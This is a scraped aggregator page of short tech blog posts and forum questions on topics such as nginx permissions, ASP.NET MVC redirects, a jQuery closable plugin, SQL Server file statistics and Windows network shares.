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  • Elevating Customer Experience through Enterprise Social Networking

    - by john.brunswick
    I am not sure about most people, but I really dislike automated call center routing systems. They are impersonal and convey a sense that the company I am dealing with does not see the value of providing customer service that increases positive perception of their brand. By the time I am connected with a live support representative I am actually more frustrated than before I originally dialed. Each time a company interacts with its customers or prospects there is an opportunity to enhance that relationship. Technical enablers like call center routing systems can be a double edged sword - providing process efficiencies, but removing the human context of some interactions that can build a lot of long term value and create substantial repeat business. Certain web systems, available through "chat with a representative" now links on some web sites, provide a quick and easy way to get in touch with someone and cut down on help desk calls, but miss the opportunity to deliver an even more personal experience to customers and prospects. As more and more users head to the web for self-service and product information, the quality of this interaction becomes critical to supporting a company's brand image and viability. It takes very little effort to go a step further and elevate customer experience, without adding significant cost through social enterprise software technologies. Enterprise Social Networking Social networking technologies have slowly gained footholds in the enterprise, evolving from something that people may have been simply curious about, to tools that have started to provide tangible value in the enterprise. Much like instant messaging, once considered a toy in the enterprise, expertise search, blogs as communications tools, wikis for tacit knowledge sharing are all seeing adoption in a way that is directly applicable to the business and quickly adding value. So where does social networking come in when trying to enhance customer experience?

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  • Windows 7 randomly installs an "Unknown Device" successfully

    - by Amazed
    Rarely (several days to weeks between occurrences,) and seemingly at random, I get a balloon notification from Windows 7 (x64 SP1 Home Premium) that it is installing hardware for me. Whatever is being installed does so without error. However, no new hardware has been installed or plugged in! When I click the balloon it doesn't give me any useful information: Looking in the event log, I find this entry: Event ID: 20001 Source: UserPnp Task Category: 7005 Message: Driver Management concluded the process to install driver FileRepository\usb.inf_amd64_neutral_153b489118ee37b8\usb.inf for Device Instance ID USB\VID_0000&PID_0000\6&3AF9A177&0&0060&&02 with the following status: 0x0. It appears to be USB related. My motherboard has both USB 2.0 and 3.0 controllers. My keyboard and mouse are plugged into the 2.0 slots and the data/recharge cable for a tablet (but not the tablet itself) was plugged in to the 3.0 slot. No other USB devices have been attached for several days/reboots. Why is Windows doing this?

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  • 3 Key Trends For Mobile Commerce – Location, Location, Location

    - by Michael Hylton
    This past weekend I was at a major bookstore chain and looking for a particular book.  Rather than ask the clerk, I went to my smartphone and went online to find the book title, author, and competing price.  I know I’m not alone in this effort and more and more individuals (and businesses) will use the power of mobility to tilt the scale in their favor. Armed with a mobile device – smartphone or tablet – folks will use them to research, compare, and ultimately purchase.  A recent PayPal survey found that 46% of respondents plan to use a mobile device this holiday season to make a purchase.   An astounding 27% of consumers in an e-tailing group survey commissioned by Oracle, use a tablet device daily or several times a week to research products and services. Beyond researching or making purchases, 35% of consumers use their smartphone to receive offers and coupons, and 32% access coupons and redeem them at their local retail store.  And with GPS capabilities in smartphones and tablet (and with user’s approval), retailers will start pushing coupons and offers directly to phone users based on their proximity to their store (or their competitors). Security is one concern that both shoppers, companies and phone manufacturers will have to deal with in the coming years.  In that same Oracle-sponsored e-tailing group consumer survey, 32% of consumers were concerned about giving their credit card information via a smartphone. You can gain further insight into the mind of today’s consumer by reading the e-tailing group white paper, titled “the connected consumer”.

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  • 3 Key Trends For Mobile Commerce – Location, Location, Location

    - by Michael Hylton
    This past weekend I was at a major bookstore chain and looking for a particular book.  Rather than ask the clerk, I went to my smartphone and went online to find the book title, author, and competing price.  I know I’m not alone in this effort and more and more individuals (and businesses) will use the power of mobility to tilt the scale in their favor. Armed with a mobile device – smartphone or tablet – folks will use them to research, compare, and ultimately purchase.  A recent PayPal survey found that 46% of respondents plan to use a mobile device this holiday season to make a purchase.   An astounding 27% of consumers in an e-tailing group survey commissioned by Oracle, use a tablet device daily or several times a week to research products and services. Beyond researching or making purchases, 35% of consumers use their smartphone to receive offers and coupons, and 32% access coupons and redeem them at their local retail store.  And with GPS capabilities in smartphones and tablet (and with user’s approval), retailers will start pushing coupons and offers directly to phone users based on their proximity to their store (or their competitors). Security is one concern that both shoppers, companies and phone manufacturers will have to deal with in the coming years.  In that same Oracle-sponsored e-tailing group consumer survey, 32% of consumers were concerned about giving their credit card information via a smartphone. You can gain further insight into the mind of today’s consumer by reading the e-tailing group white paper, titled “the connected consumer”.

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  • nginx symlinks permission denied / 403 Forbidden on Mac OSX

    - by Levi Roberts
    So I have an nginx server running on Mac OSX and I am trying to create a symlink in my nginx www directory from somewhere else. In the browser I get the wonderful 403 Forbidden error. I have also tried chmod'ing my life away for the past few hours. There doesn't seem to be anything on the stack about it. One thing concerns me is that I am not sure if symlinks are directly supported by ngninx on Mac. Trying to use disable_symlink directive results in: nginx: [emerg] unknown directive "disable_symlinks" in /usr/local/etc/nginx/nginx.conf:44` Some info about my setup: nginx -v : nginx version: nginx/1.4.2 To create the symlink I do the following: cd /Users/levi/www ln -s "/Users/levi/Desktop/.../client" "/Users/levi/www/client" The error in the log: [error] 11864#0: *7 open() "/Users/levi/www/client" failed (13: Permission denied), client: 127.0.0.1, server: _, request: "GET /client HTTP/1.1", host: "localhost" Any help is much appreciated. Let me know if there's any more information I can give you.

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  • MVC OnActionExecuting to Redirect

    - by Aligned
    Originally posted on: http://geekswithblogs.net/Aligned/archive/2014/08/12/mvc-onactionexecuting-to-redirect.aspxI recently had the following requirements in an MVC application: Given a new user that still has the default password When they first login Then the user must change their password and optionally provide contact information I found that I can override the OnActionExecuting method in a BaseController class.public class BaseController : Controller { [Inject] public ISessionManager SessionManager { get; set; } protected override void OnActionExecuting(ActionExecutingContext filterContext) { // call the base method first base.OnActionExecuting(filterContext); // if the user hasn't changed their password yet, force them to the welcome page if (!filterContext.RouteData.Values.ContainsValue("WelcomeNewUser")) { var currentUser = this.SessionManager.GetCurrentUser(); if (currentUser.FusionUser.IsPasswordChangeRequired) { filterContext.Result = new RedirectResult("/welcome"); } } } } Better yet, you can use an ActionFilterAttribute (and here) and apply the attribute to the Base or individual controllers./// <summary> /// Redirect the user to the WelcomePage if the FusionUser.IsPasswordChangeRequired is true; /// </summary> public class WelcomePageRedirectActionFilterAttribute : ActionFilterAttribute { [Inject] public ISessionManager SessionManager { get; set; } public override void OnActionExecuting(ActionExecutingContext actionContext) { base.OnActionExecuting(actionContext); // if the user hasn't changed their password yet, force them to the welcome page if (actionContext.RouteData.Values.ContainsValue("WelcomeNewUser")) { return; } var currentUser = this.SessionManager.GetCurrentUser(); if (currentUser.FusionUser.IsPasswordChangeRequired) { actionContext.Result = new RedirectResult("/welcome"); } } }  [WelcomePageRedirectActionFilterAttribute] public class BaseController : Controller { ... } The requirement is now met.

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  • Silverlight Firestarter 2010 Keynote with Scott Guthrie: Silverlight has a bright future!

    - by Jim Duffy
    If you didn’t get chance to watch the Silverlight Firestart event live during the webcast it is available online to view now. If you’re a Silverlight developer or perhaps a shop actively planning on developing a Silverlight application then you’re going to want to watch this video. The Silverlight 5 feature set unveiled during the keynote is fantastic! I particularly like Scott’s approach and comments on the future of Silverlight. I appreciated his open and direct acknowledgment that there has “been a lot of angst on this topic in the last few weeks” and he took the bull by the horns and stated “Let me say up front that there is a Silverlight future, and we think it’s going to be a very bright one.” That comment drew applause from the local audience and in our local viewing event held in Raleigh, NC. Of course my first question was when can we get our grubby little hands on Silverlight 5 and start working with it. The answer unfortunately wasn’t “right now” but they did announce the Silverlight 5 beta will be available in the first half of 2011. Of course the following is pure speculation on my part but I wouldn’t be surprised if they made it available at a certain event in April 2011. Additional information about the Silverlight 5 announcement is available on Scott’s blog. Have a day.

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  • Oracle University Nouveaux cours (Week 35)

    - by swalker
    Parmi les nouveautés d’Oracle Université de ce mois-ci, vous trouverez : Fusion Middleware Oracle Directory Services 11g: Administration (5 days) Oracle SOA Suite 11g: Essential Concepts (Training on Demand) e-Business Suite R12 Oracle HRMS iRecruitment Fundamentals (Self-Study Course) R12 Oracle Payroll Fundamentals: Administration (Self-Study Course) R12 Oracle HRMS System Administration Fundamentals (Self-Study Course) R12 Oracle HRMS Self Service Fundamentals (Self-Study Course) R12 Oracle HRMS Implement and Use Fast Formula (Self-Study Course) R12 HRMS Work Structures Fundamentals (Self-Study Course) R12 HRMS Total Compensation Foundations (Self-Study Course) Siebel Siebel 8.1.x Chat and Voice Integration Using CCA (Self-Study Course) Siebel 8.1.x Search using Oracle Secure Enterprise Search (Self-Study Course) Siebel 8.1.x COM Web Services (Self-Study Course) Siebel 8.1.x COM Asset Based Order Management (Self-Study Course) Siebel 8.1.x COM: What is New in Product Configurator (Self-Study Course) Siebel 8.1.x COM Product Configurator Caching & Performance Management (Self-Study Course) Siebel 8.1.x COM PSP Engine Caching and Performance Management (Self-Study Course) Siebel 8.1.x Remote: Administration (Self-Study Course) Siebel 8.1.x Remote: Technical Foundations (Self-Study Course) Siebel Tools: Configuring Chart and Tree Applets (Self-Study Course) Sun - Server Administration SPARC SuperCluster Administration and Maintenance Seminar (2 days) OPN Only Sparc T4-Based Servers Installation Boot Camp (1 day) Primavera Primavera P6 Application Administration Rel 8.x (2 days) Oracle Retail Retail Merchandising System (RMS) Business Overview (Self-Study Course) Retail Invoice Matching (ReIM) Product Overview (Self-Study Course) Retail Invoice Matching (ReIM) Business Introduction (Self-Study Course) Retail Demand Forecasting: RDF Classic Product Overview (Self-Study Course) Retail Demand Forecasting Introduction (Self-Study Course) Retail Data Warehouse (RDW) Overview 13.1 (Self-Study Course) Oracle Retail Point-of-Service (POS) Product Overview (Self-Study Course) Retail Sales Audit (ReSA) Product Overview (Self-Study Course) Retail Price Management (RPM) Product Overview (Self-Study Course) Retail Merchandising System (RMS) Technical Introduction (Self-Study Course) Oracle Retail Integration Bus (RIB) Product Overview (Self-Study Course) Oracle Communiucations Unified Communications Suite Convergence Customization (2 days) OSM Foundations I: Tasks, Processes and Orders Contacter l’ équipe locale d’ Oracle University pour toute information et dates de cours. Restez connecté à Oracle University : LinkedIn OracleMix Twitter Facebook Google+

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  • New Fusion CRM Webinars for Partners dates and subjects announced

    - by Richard Lefebvre
    New Fusion CRM Weekly webinars dates and subjects have been announced! Visit our microsite to find out the sessions to come and mark them in your agenda. The next session will take place Monday April the 2nd at 3pm GMT / 4pm CET and will address the Fusion CRM Sales Planning  In order to check the complete agenda and see login-details, please visit our dedicated microsite. How to join the dedicated microsite: Click on http://isdportal.oracle.com/isd_html/sf.htm Enter your Email Address in the corresponding field Enter fusion_crm in the “Access URL/Page Token” field Agenda: The list of sessions is published and will be regularly updated in the microsite. Duration: Each session lasts up to 60 minutes Webex: The respective webinar link and session ID are published in the microsite Audio:  The audio call details (telephone numbers by country, call number and password) is indicated in the microsite Slides: For your convenience, a pdf copy of each presentation will be stored in the microsite’s document section. We hope that this series of webcasts will be instrumental to your way of Fusion CRM business success!  For further information please contact me at [email protected]

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  • Multiple possible jsp views for a request

    - by Karl Walsh
    I'm looking to offer the user some way of changing how a single page looks based on some pre-defined jsps. i.e. Two or more jsp's contain similar information, and would be backed by a single controller method. The controller would decide which view to return. Is there a common way of achieving this? At the moment I have some administration screens where I control a list of possible views. The user can then choose which one to see from a drop-down. My current issue is that I don't know how to confirm (at the admin screen) that the view is valid. Is there a way of asking spring for all possible views so I can filter them and resent a drop-down on the admin screen rather than a free text field? If not is there a way of asking spring if a single view is valid? All these views will reside under a common directory, so it would probably be possible to scan recursively from that point and build a list of possible views. This goes beyond simply changing the css, since the page content might be different despite being backed by the same model.

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  • SQL SERVER – 2000 – DBCC SQLPERF(waitstats) – Wait Type – Day 24 of 28

    - by pinaldave
    I have received many comments, email, suggestions and motivations for my current series of wait types and wait statistics. One of the questions which I keep on receiving almost every other day is whether all of the discussions I have presented so far are also applicable to SQL Server 2000. Additionally, I receive another question asking me if wait statistics matters in SQL Server 2000. If it is, then the asker wants to know how to measure wait types for SQL Server 2000. In SQL Server, you can run the following command to get a list of all the wait types: DBCC SQLPERF(waitstats) The query above will work in SQL Server 2005/2008/R2  because of backup compatibility. As you might have noticed, I have been discussing everything keeping SQL Server 2005+ in mind, but I have given little consideration on SQL Server 2000. However, I am pretty sure that most of the suggestions I have provided are applicable to SQL Server 2000. The wait types I have been discussing mostly exist in SQL Server 2000 as well. But the difference of the 2000 version is that it gets late recent releases, but it is worth it. Wait types are very essential to measure performance bottleneck. Because of this, I do not have to state that I am big fan of them just so I could identify performance bottleneck. Please read all the post in the Wait Types and Queue series. Note: The information presented here is from my experience and there is no way that I claim it to be accurate. I suggest reading Book OnLine for further clarification. All the discussion of Wait Stats in this blog is generic and varies from system to system. It is recommended that you test this on a development server before implementing it to a production server. Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, SQL Wait Stats, SQL Wait Types, T SQL, Technology

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  • WCI Analytics Installation / Configuration Support Webinar

    - by brian.harrison
    Based on the success of the OAM / WCI integration webinar, the second in our series of Technical Support "brown bag" webinars will be delivered on Tuesday, March 30 at 8AM Pacific Daylight Time. Please review the details below, if you would like to attend the webinar, please take a moment to send an email to the address provided for registration and you will be enrolled in the meeting. What are the best practices for installing and configuring Analytics for the WebCenter Interaction (formerly "ALUI") Portal Application? What are some of the most common failures that occur in this implementation and what can be done to correct these common issues? What are the most common reasons for the tables to be "empty" when I try to produce utilization reports? These are just some of the main areas that will be covered in this one hour webinar which will demonstrate the WCI Analytics installation and configuration in action. Our demonstration will focus on areas where Technical Support sees the largest numbers of customer questions become support incidents in an effort to help avoid the need to create an incident to get the implementation working properly in the customer environment. We will demonstrate the most recent version of WCI Analytics (10.3.0.1) for this presentation, but naturally specific issues known to specific versions will be covered as well. Please join us for what we know will be a valuable and relevant learning session. If you would like to attend this session please send an email to [email protected] indicating your interest, and we will respond to you with a meeting invitation including all of the required access information.

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  • Register for windows Upgrade Offer from Windows 7 to Windows 8

    - by BumbleBee
    I have to register for windows Upgrade Offer from here. I purchased Dell Inspiron 5520 laptop before 2 weeks and I got windows 7 Home Basic in it. But now I want to register for windows upgrade offer, When I filled up registration form and submit then it displayed that I am not eligible for this kind of offer. I don't know why this message is displaying although I bought laptop in between eligible time period. I think, I was filling wrong details in form. Because I am not sure about what to fill in Retailer's Name, Purchase Date and PC Model. And one thing is how to find right purchase Date from my product's Service Tag ? Which date I have to fill in form, Shipping Date OR Manufacture Date? Please Provide me a right direction to register and correct information regarding Retailer'Name and Purchase Date and PC Model.

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  • https post message fail, where is server log?

    - by Samson
    I am receiving an error when sending a https post message to my server and I am looking to get more information. I am looking for ssl error log in apache but I cannot find it. I have looked in /usr/local/apache/logs/secure and I don't see the proper error. Should I be looking in a different place? UPDATE: Fyi, the connection is timing out or being lost when I use https and I am trying to figure out why. When I use http it works fine.

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  • I can't upgrade 13.10 because of broken pipe

    - by user212179
    I try upgrading and this is what I get: christopher@chris-computer:~$ sudo apt-get upgrade [sudo] password for christopher: Reading package lists... Done Building dependency tree Reading state information... Done The following packages will be upgraded: librhythmbox-core7 1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 0 B/809 kB of archives. After this operation, 39.9 kB of additional disk space will be used. Do you want to continue [Y/n]? y (Reading database ... 170617 files and directories currently installed.) Preparing to replace librhythmbox-core7 2.99.1-0ubuntu1 (using .../librhythmbox-core7_3.0.1-0~13.10~ppa1_i386.deb) ... Unpacking replacement librhythmbox-core7 ... dpkg: error processing /var/cache/apt/archives/librhythmbox-core7_3.0.1-0~13.10~ppa1_i386.deb (--unpack): trying to overwrite '/usr/lib/librhythmbox-core.so.8.0.0', which is also in package librhythmbox-core8 3.0.1-1ubuntu2~ppa0 No apport report written because MaxReports is reached already dpkg-deb: error: subprocess paste was killed by signal (Broken pipe) Errors were encountered while processing: /var/cache/apt/archives/librhythmbox-core7_3.0.1-0~13.10~ppa1_i386.deb E: Sub-process /usr/bin/dpkg returned an error code (1)

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  • Manage Upload Permissions, SFTP & Linux

    - by John R
    I'm new to Linux. I am working with a Redhat 5.5 server and am using a Java-based SFTP script that will allow multiple users to upload text files to a server. I am undecided if each user will have a separate directory or if I will use a naming convention that includes their customer ID. The files include some personal information about their LAN settings, so I prefer to use SFTP as apposed to FTP. It is my understanding that SFTP is encrypted (Also, I have a Java class configured to upload via SFTP, so I prefer not to switch protocols unless their is a very-good reason). The prototype is for a system that will support large numbers of customers and the thought of continually adding and removing clients through the command line seems highly impractical. (Again, I am new_to/learning Linux and Redhat). What are normal conventions for giving multiple users permission to SFTP upload files with a unique username and password for each.

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  • A Closable jQuery Plug-in

    - by Rick Strahl
    In my client side development I deal a lot with content that pops over the main page. Be it data entry ‘windows’ or dialogs or simple pop up notes. In most cases this behavior goes with draggable windows, but sometimes it’s also useful to have closable behavior on static page content that the user can choose to hide or otherwise make invisible or fade out. Here’s a small jQuery plug-in that provides .closable() behavior to most elements by using either an image that is provided or – more appropriately by using a CSS class to define the picture box layout. /* * * Closable * * Makes selected DOM elements closable by making them * invisible when close icon is clicked * * Version 1.01 * @requires jQuery v1.3 or later * * Copyright (c) 2007-2010 Rick Strahl * http://www.west-wind.com/ * * Licensed under the MIT license: * http://www.opensource.org/licenses/mit-license.php Support CSS: .closebox { position: absolute; right: 4px; top: 4px; background-image: url(images/close.gif); background-repeat: no-repeat; width: 14px; height: 14px; cursor: pointer; opacity: 0.60; filter: alpha(opacity="80"); } .closebox:hover { opacity: 0.95; filter: alpha(opacity="100"); } Options: * handle Element to place closebox into (like say a header). Use if main element and closebox container are two different elements. * closeHandler Function called when the close box is clicked. Return true to close the box return false to keep it visible. * cssClass The CSS class to apply to the close box DIV or IMG tag. * imageUrl Allows you to specify an explicit IMG url that displays the close icon. If used bypasses CSS image styling. * fadeOut Optional provide fadeOut speed. Default no fade out occurs */ (function ($) { $.fn.closable = function (options) { var opt = { handle: null, closeHandler: null, cssClass: "closebox", imageUrl: null, fadeOut: null }; $.extend(opt, options); return this.each(function (i) { var el = $(this); var pos = el.css("position"); if (!pos || pos == "static") el.css("position", "relative"); var h = opt.handle ? $(opt.handle).css({ position: "relative" }) : el; var div = opt.imageUrl ? $("<img>").attr("src", opt.imageUrl).css("cursor", "pointer") : $("<div>"); div.addClass(opt.cssClass) .click(function (e) { if (opt.closeHandler) if (!opt.closeHandler.call(this, e)) return; if (opt.fadeOut) $(el).fadeOut(opt.fadeOut); else $(el).hide(); }); if (opt.imageUrl) div.css("background-image", "none"); h.append(div); }); } })(jQuery); The plugin can be applied against any selector that is a container (typically a div tag). The close image or close box is provided typically by way of a CssClass - .closebox by default – which supplies the image as part of the CSS styling. The default styling for the box looks something like this: .closebox { position: absolute; right: 4px; top: 4px; background-image: url(images/close.gif); background-repeat: no-repeat; width: 14px; height: 14px; cursor: pointer; opacity: 0.60; filter: alpha(opacity="80"); } .closebox:hover { opacity: 0.95; filter: alpha(opacity="100"); } Alternately you can also supply an image URL which overrides the background image in the style sheet. I use this plug-in mostly on pop up windows that can be closed, but it’s also quite handy for remove/delete behavior in list displays like this: you can find this sample here to look to play along: http://www.west-wind.com/WestwindWebToolkit/Samples/Ajax/AmazonBooks/BooksAdmin.aspx For closable windows it’s nice to have something reusable because in my client framework there are lots of different kinds of windows that can be created: Draggables, Modal Dialogs, HoverPanels etc. and they all use the client .closable plug-in to provide the closable operation in the same way with a few options. Plug-ins are great for this sort of thing because they can also be aggregated and so different components can pick and choose the behavior they want. The window here is a draggable, that’s closable and has shadow behavior and the server control can simply generate the appropriate plug-ins to apply to the main <div> tag: $().ready(function() { $('#ctl00_MainContent_panEditBook') .closable({ handle: $('#divEditBook_Header') }) .draggable({ dragDelay: 100, handle: '#divEditBook_Header' }) .shadow({ opacity: 0.25, offset: 6 }); }) The window is using the default .closebox style and has its handle set to the header bar (Book Information). The window is just closable to go away so no event handler is applied. Actually I cheated – the actual page’s .closable is a bit more ugly in the sample as it uses an image from a resources file: .closable({ imageUrl: '/WestWindWebToolkit/Samples/WebResource.axd?d=TooLongAndNastyToPrint', handle: $('#divEditBook_Header')}) so you can see how to apply a custom image, which in this case is generated by the server control wrapping the client DragPanel. More interesting maybe is to apply the .closable behavior to list scenarios. For example, each of the individual items in the list display also are .closable using this plug-in. Rather than having to define each item with Html for an image, event handler and link, when the client template is rendered the closable behavior is attached to the list. Here I’m using client-templating and the code that this is done with looks like this: function loadBooks() { showProgress(); // Clear the content $("#divBookListWrapper").empty(); var filter = $("#" + scriptVars.lstFiltersId).val(); Proxy.GetBooks(filter, function(books) { $(books).each(function(i) { updateBook(this); showProgress(true); }); }, onPageError); } function updateBook(book,highlight) { // try to retrieve the single item in the list by tag attribute id var item = $(".bookitem[tag=" +book.Pk +"]"); // grab and evaluate the template var html = parseTemplate(template, book); var newItem = $(html) .attr("tag", book.Pk.toString()) .click(function() { var pk = $(this).attr("tag"); editBook(this, parseInt(pk)); }) .closable({ closeHandler: function(e) { removeBook(this, e); }, imageUrl: "../../images/remove.gif" }); if (item.length > 0) item.after(newItem).remove(); else newItem.appendTo($("#divBookListWrapper")); if (highlight) { newItem .addClass("pulse") .effect("bounce", { distance: 15, times: 3 }, 400); setTimeout(function() { newItem.removeClass("pulse"); }, 1200); } } Here the closable behavior is applied to each of the items along with an event handler, which is nice and easy compared to having to embed the right HTML and click handling into each item in the list individually via markup. Ideally though (and these posts make me realize this often a little late) I probably should set up a custom cssClass to handle the rendering – maybe a CSS class called .removebox that only changes the image from the default box image. This example also hooks up an event handler that is fired in response to the close. In the list I need to know when the remove button is clicked so I can fire of a service call to the server to actually remove the item from the database. The handler code can also return false; to indicate that the window should not be closed optionally. Returning true will close the window. You can find more information about the .closable class behavior and options here: .closable Documentation Plug-ins make Server Control JavaScript much easier I find this plug-in immensely useful especial as part of server control code, because it simplifies the code that has to be generated server side tremendously. This is true of plug-ins in general which make it so much easier to create simple server code that only generates plug-in options, rather than full blocks of JavaScript code.  For example, here’s the relevant code from the DragPanel server control which generates the .closable() behavior: if (this.Closable && !string.IsNullOrEmpty(DragHandleID) ) { string imageUrl = this.CloseBoxImage; if (imageUrl == "WebResource" ) imageUrl = ScriptProxy.GetWebResourceUrl(this, this.GetType(), ControlResources.CLOSE_ICON_RESOURCE); StringBuilder closableOptions = new StringBuilder("imageUrl: '" + imageUrl + "'"); if (!string.IsNullOrEmpty(this.DragHandleID)) closableOptions.Append(",handle: $('#" + this.DragHandleID + "')"); if (!string.IsNullOrEmpty(this.ClientDialogHandler)) closableOptions.Append(",handler: " + this.ClientDialogHandler); if (this.FadeOnClose) closableOptions.Append(",fadeOut: 'slow'"); startupScript.Append(@" .closable({ " + closableOptions + "})"); } The same sort of block is then used for .draggable and .shadow which simply sets options. Compared to the code I used to have in pre-jQuery versions of my JavaScript toolkit this is a walk in the park. In those days there was a bunch of JS generation which was ugly to say the least. I know a lot of folks frown on using server controls, especially the UI is client centric as the example is. However, I do feel that server controls can greatly simplify the process of getting the right behavior attached more easily and with the help of IntelliSense. Often the script markup is easier is especially if you are dealing with complex, multiple plug-in associations that often express more easily with property values on a control. Regardless of whether server controls are your thing or not this plug-in can be useful in many scenarios. Even in simple client-only scenarios using a plug-in with a few simple parameters is nicer and more consistent than creating the HTML markup over and over again. I hope some of you find this even a small bit as useful as I have. Related Links Download jquery.closable West Wind Web Toolkit jQuery Plug-ins © Rick Strahl, West Wind Technologies, 2005-2010Posted in jQuery   ASP.NET  JavaScript  

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  • PO Communication in PDF

    - by Robert Story
    Upcoming WebcastsDate: March 29, 2010 Time: 2 pm London, 9:00 am EDT, 6:00 am PDT, 13:00 GMT Click here to register for this sessionDate: March 29, 2010 Time: 9 am London, 4:00 am EDT, 1:00 am PDT, 8:00 GMT Click here to register for this session Product Family: ProcurementSummary This one-hour session is recommended for technical and functional users who would like to know about the PO Communication functionality in procurement. Topics will include: Introduction to PO PDF communication - 11.5.10 Key ConceptsPrerequisites, Scope Overview of PDF document generation PDF solution overviewTechnical Overview of PDF generation Setup steps Triggering Points of PDF generation PO Output for communication - Concurrent programEnter PO form: View DocIsupplier portal/Contracts preview Enhancements PDF Generation in Custom LayoutsAttachments in fax communicationR12 Communication Nontext Attachments through Email Customizing templates Advantages of PDF communication Troubleshooting (Tips) A short, live demonstration (only if applicable) and question and answer period will be included........ ....... ....... ....... ....... ....... .......The above webcast is a service of the E-Business Suite Communities in My Oracle Support.For more information on other webcasts, please reference the Oracle Advisor Webcast Schedule.Click here to visit the E-Business Communities in My Oracle Support Note that all links require access to My Oracle Support.

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  • OCS 2007: Issues with /LiveServer/MCUFactory

    - by routeNpingme
    I'm not really an Office Communications Server expert, but just trying to resolve some seemingly minor issues with a new install... The following error is occurring in the OCS event log, and when I try to visit https://servername:444/LiveServer/MCUFactory in Internet Explorer to test the address, I just get a "page cannot be displayed" error. I can telnet to port 444 on the server and verify that the port is open and listening. Any ideas? Event Type: Error Event Source: OCS MCU Infrastructure Event Category: (1022) Event ID: 61013 Date: 7/28/2009 Time: 8:47:42 AM User: N/A Computer: COMM2 Description: The process DataMCUSvc(1284) failed to send health notifications to the MCU factory at https://servername:444/LiveServer/MCUFactory/. Failure occurrences: 29, since 7/28/2009 8:40:27 AM. For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp.

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  • Windows: "net use" equivalent that shows the username used to mount a share?

    - by Jeroen Wiert Pluimers
    Sometimes you need to use different credentials to map different shares, for instance net use z: \\myserver\myshare /user:mydomain\myusername mypassword You can use net use to show you the shares that are mapped, but it does not show the mydomain\myusername. What can I use to show that information? I'm looking for output like this from the imaginary command NetUseX: H:\>NetUseX New connections will be remembered. Status Local Remote Username Network ---------------------------------------------------------------------------------------------------------- OK D: \\MyServer1234\SomeData MyServer1234\MyUserA Microsoft Windows Network Unavailable E: \\MyServer4321\SomeApps MyDomain\MyUserB Microsoft Windows Network OK H: \\MyServer4321\HomeDAta MyDomain\MyUserB Microsoft Windows Network Disconnected W: \\MyServer6789\WorkData MyDomain\MyUserB Microsoft Windows Network OK \\MyServer9876\Shortcuts MyServer9876\MyUserC Microsoft Windows Network The command completed successfully.

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  • Growing Into Enterprise Architecture

    - by pat.shepherd
    I am writing this post as I am in an Enterprise Architecture class, specifically on the Oracle Enterprise Architecture Framework (OEAF).  I have been a long believer that SOA’s key strength is that it is the first IT approach that blends or unifies business and technology.  That is a common view and is certainly valid but is not completely true (or at least accurate).  As my personal view of EA is growing, I realize more than ever that doing EA is FAR MORE than creating a reference architecture, creating a physical architecture or picking a technology to standardize on.  Those are parts of the puzzle but not the whole puzzle by any stretch. I am now a firm believer that the various EA frameworks out there provide the rigor and structure required to allow the bridging of business strategy / vision to IT strategy / vision. The flow goes something like this: Business Strategy –> Business / Application / Information / Technology Architecture –> SOA Reference Architecture –> SOA Functional Architecture.  Governance is imbued throughout to help map, measure and verify the business-to-IT coherence. With those in place, then (and only then) can SOA fulfill it’s potential to be more that an integration strategy, more than a reuse strategy; but also a foundation for tying the results of IT to business vision. Fortunately, EA is a an ongoing process that it is never too late to get started with an understanding of frameworks such as TOGAF, FEA, or OEAF.  Also, EA is never ending in that it always needs to be apply, even once a full-blown Enterprise Architecture is established it needs to be constantly evolved.  For those who are getting deeper into EA as a discipline, there is plenty runway to grow as your company/customer begins to look more seriously at EA. I will close with a pointer to a Great Book I have recently read on this subject: Enterprise Architecture as Strategy (http://www.amazon.com/Enterprise-Architecture-Strategy-Foundation-Execution/dp/1591398398/ref=sr_1_1?ie=UTF8&s=books&qid=1268842865&sr=1-1)

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  • CIC 2010 - Ghost Stories and Model Based Design

    - by warren.baird
    I was lucky enough to attend the collaboration and interoperability congress recently. The location was very beautiful and interesting, it was held in the mountains about two hours outside Denver, at the Stanley hotel, famous both for inspiring Steven King's novel "The Shining" and for attracting a lot of attention from the "Ghost Hunters" TV show. My visit was prosaic - I didn't get to experience the ghosts the locals promised - but interesting, with some very informative sessions. I noticed one main theme - a lot of people were talking about Model Based Design (MBD), which is moving design and manufacturing away from 2d drawings and towards 3d models. 2d has some pretty deep roots in industrial manufacturing and there have been a lot of challenges encountered in making the leap to 3d. One of the challenges discussed in several sessions was how to get model information out to the non-engineers in the company, which is a topic near and dear to my heart. In the 2D space, people without access to CAD software (for example, people assembling a product on the shop floor) can be given printouts of the design - it's not particularly efficient, and it definitely isn't very green, but it tends to work. There's no direct equivalent in the 3D space. One of the ways that AutoVue is used in industrial manufacturing is to provide non-CAD users with an easy to use, interactive 3D view of their products - in some cases it's directly used by people on the shop floor, but in cases where paper is really ingrained in the process, AutoVue can be used by a technical publications person to create illustrative 2D views that can be printed that show all of the details necessary to complete the work. Are you making the move to model based design? Is AutoVue helping you with your challenges? Let us know in the comments below.

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  • SQL SERVER – Get File Statistics Using fn_virtualfilestats

    - by pinaldave
    Quite often when I am staring at my SSMS I wonder what is going on under the hood in my SQL Server. I often want to know which database is very busy and which database is bit slow because of IO issue. Sometime, I think at the file level as well. I want to know which MDF or NDF is busiest and doing most of the work. Following query gets the same results very quickly. SELECT DB_NAME(vfs.DbId) DatabaseName, mf.name, mf.physical_name, vfs.BytesRead, vfs.BytesWritten, vfs.IoStallMS, vfs.IoStallReadMS, vfs.IoStallWriteMS, vfs.NumberReads, vfs.NumberWrites, (Size*8)/1024 Size_MB FROM ::fn_virtualfilestats(NULL,NULL) vfs INNER JOIN sys.master_files mf ON mf.database_id = vfs.DbId AND mf.FILE_ID = vfs.FileId GO When you run above query you will get many valuable information like what is the size of the file as well how many times the reads and writes are done for each file. It also displays the read/write data in bytes. Due to IO if there has been any stall (delay) in read or write, you can know that as well. I keep this handy but have not shared on blog earlier. Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, SQL View, T SQL, Technology Tagged: Statistics

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  • Kerberos SSO browser integration?

    - by MrZombie
